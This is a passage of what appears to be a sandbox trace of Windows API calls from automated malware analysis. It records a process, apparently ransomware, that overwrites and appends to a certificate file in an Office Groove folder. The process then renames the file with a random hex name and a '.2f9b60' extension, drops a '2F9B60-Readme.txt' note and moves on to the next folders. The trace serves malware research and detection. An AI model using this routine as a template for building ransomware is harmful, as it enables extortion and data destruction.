Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*" [0151.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b670 [0151.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc10 [0151.775] wcscmp (_String1=".", _String2=".") returned 0 [0151.775] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.775] wcscmp (_String1="..", _String2=".") returned 1 [0151.775] wcscmp (_String1="..", _String2="..") returned 0 [0151.776] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0151.776] wcscmp (_String1="SignedComponents.cer", _String2=".") returned 1 [0151.776] wcscmp (_String1="SignedComponents.cer", _String2="..") returned 1 [0151.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776930 [0151.776] wcscpy (in: _Dest=0x1b776930, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" [0151.776] wcscat (in: _Dest=0x1b776930, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\" [0151.776] wcscat (in: _Dest=0x1b776930, _Source="SignedComponents.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" [0151.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer")) returned 0x20 [0151.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer", dwFileAttributes=0x20) returned 1 [0151.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x258c [0151.778] GetFileSizeEx (in: hFile=0x258c, lpFileSize=0x27dff870 | out: lpFileSize=0x27dff870*=734) returned 1 [0151.778] SetFilePointerEx (in: hFile=0x258c, liDistanceToMove=0x2da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.778] ReadFile (in: hFile=0x258c, lpBuffer=0x27dff7f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27dff838, lpOverlapped=0x0 | out: lpBuffer=0x27dff7f0*, lpNumberOfBytesRead=0x27dff838*=0x4, lpOverlapped=0x0) returned 1 [0151.824] SetFilePointerEx (in: hFile=0x258c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205001a0 [0151.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205001d0 [0151.825] NtQuerySystemTime (in: CurrentTime=0x27dff730 | out: CurrentTime=0x27dff730*=132462177570370000) returned 0x0 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x5e2f4830 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x204afcd9 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x5b70ec3f [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x5d95e64d [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x417959fb [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x5a9b4541 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x57a21a42 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0xe90af7 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x51edbe9d [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x38abd63e [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x68ad7d3 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x7489fc07 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x21faa3a7 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x1b652442 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0xb9c00e7 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x26b415b4 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x4df36b1 [0151.825] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x31ba2a0b [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x2091e9bc [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x7d56c601 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x29b3bea0 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x4b21dec7 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x397b2b03 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x50dd72bc [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x30e5437f [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x3d4898ae [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x54b32442 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x1623ad90 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x161ee492 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x3f62a80c [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x6eeda968 [0151.826] RtlRandomEx (in: Seed=0x27dff720 | out: Seed=0x27dff720) returned 0x5be20961 [0151.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500200 [0151.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500230 [0151.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0151.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500110) returned 1 [0151.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0151.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500110) returned 1 [0151.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425669f0 [0151.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4256a600 [0151.837] ReadFile (in: hFile=0x258c, lpBuffer=0x425669f0, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x27dff720, lpOverlapped=0x0 | out: lpBuffer=0x425669f0*, lpNumberOfBytesRead=0x27dff720*=0x2de, lpOverlapped=0x0) returned 1 [0151.837] SetFilePointerEx (in: hFile=0x258c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.837] WriteFile (hFile=0x258c, lpBuffer=0x4256a600, nNumberOfBytesToWrite=0x2de, lpNumberOfBytesWritten=0x27dff724, lpOverlapped=0x0) [0186.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c090 [0186.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c0c0 [0186.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c0c0) returned 1 [0186.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4256a600) returned 1 [0186.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425669f0) returned 1 [0186.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0186.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0186.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5d330 [0186.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0186.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0186.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c0c0 [0186.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c0c0) returned 1 [0186.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5d370 [0186.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c0c0 [0186.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0186.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0186.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0186.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0186.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c21ab0 [0186.895] SetFilePointerEx (in: hFile=0x258c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.896] WriteFile (in: hFile=0x258c, lpBuffer=0x42c21ab0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x27dff840, lpOverlapped=0x0 | out: lpBuffer=0x42c21ab0*, lpNumberOfBytesWritten=0x27dff840*=0x11a, lpOverlapped=0x0) returned 1 [0201.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536a0 [0201.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536a0) returned 1 [0201.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x420536a0 [0201.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053670 [0201.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053550 [0201.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053550) returned 1 [0201.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0201.148] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.148] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="f0") returned 2 [0201.148] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="29") returned 2 [0201.148] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="70") returned 2 [0201.148] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="92") returned 2 [0201.148] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.148] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.148] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="83") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="37") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="94") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="fa") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="72") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="44") returned 2 [0201.148] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="65") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="46") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="3d") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="54") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="76") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="2e") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="d1") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="30") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="56") returned 2 [0201.149] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.149] RtlInitAnsiString (in: DestinationString=0x27dff8b8, SourceString="b3f0297092f79c831d0f0a3794fa724ace446546f43d54762eb2e1d52a8ea6fdebd1b530c8eb56cf" | out: DestinationString="b3f0297092f79c831d0f0a3794fa724ace446546f43d54762eb2e1d52a8ea6fdebd1b530c8eb56cf") [0201.150] RtlAnsiStringToUnicodeString (in: DestinationString=0x27dff888, SourceString="b3f0297092f79c831d0f0a3794fa724ace446546f43d54762eb2e1d52a8ea6fdebd1b530c8eb56cf", AllocateDestinationString=1 | out: DestinationString="b3f0297092f79c831d0f0a3794fa724ace446546f43d54762eb2e1d52a8ea6fdebd1b530c8eb56cf") returned 0x0 [0201.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431ec090 [0201.150] wcscat (in: _Dest=0x1b798260, _Source="b3f0297092f79c831d0f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f" [0201.150] wcscat (in: _Dest=0x1b798260, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f.2f9b60" [0201.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f.2f9b60", NtPathName=0x27dff860, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\b3f0297092f79c831d0f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x43102d80 [0205.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43102d80) returned 1 [0205.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43204a20) returned 1 [0205.767] NtQueryInformationFile (in: FileHandle=0x258c, IoStatusBlock=0x27dff8c8, FileInformation=0x27dff8d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27dff8c8, FileInformation=0x27dff8d8) returned 0x0 [0205.767] NtSetInformationFile (FileHandle=0x258c, IoStatusBlock=0x27dff8c8, FileInformation=0x27dff8d8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0208.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec090) returned 1 [0208.583] FlushFileBuffers (hFile=0x258c) returned 1 [0208.593] CloseHandle (hObject=0x258c) returned 1 [0210.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431569c0 [0210.555] wcscpy (in: _Dest=0x431569c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\" [0210.555] wcscat (in: _Dest=0x431569c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\2F9B60-Readme.txt" [0210.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\2f9b60-readme.txt")) returned 0xffffffff [0210.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b5c [0215.278] WriteFile (in: hFile=0x1b5c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x27dff780, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x27dff780*=0xba9, lpOverlapped=0x0) returned 1 [0222.407] CloseHandle (hObject=0x1b5c) returned 1 [0224.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431569c0) returned 1 [0224.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0224.627] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 0 [0224.627] FindClose (in: hFindFile=0x1cd9cc10 | out: hFindFile=0x1cd9cc10) returned 1 [0224.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b670) returned 1 [0224.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 [0224.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0224.630] FindNextFileW (in: hFindFile=0x1ced61c0, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0224.630] wcscmp (_String1="ManagedObjects", _String2=".") returned 1 [0224.630] wcscmp (_String1="ManagedObjects", _String2="..") returned 1 [0224.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278230 [0224.631] wcscpy (in: _Dest=0x20278230, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" [0224.631] wcscat (in: _Dest=0x20278230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\" [0224.631] wcscat (in: _Dest=0x20278230, _Source="ManagedObjects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" [0227.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8c [0227.125] FindNextFileW (in: hFindFile=0x1ced61c0, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0227.125] wcscmp (_String1="Servers", _String2=".") returned 1 [0227.125] wcscmp (_String1="Servers", _String2="..") returned 1 [0227.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431324b0 [0227.125] wcscpy (in: _Dest=0x431324b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" [0227.125] wcscat (in: _Dest=0x431324b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\" [0227.125] wcscat (in: _Dest=0x431324b0, _Source="Servers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" [0227.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431324b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0227.127] FindNextFileW (in: hFindFile=0x1ced61c0, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 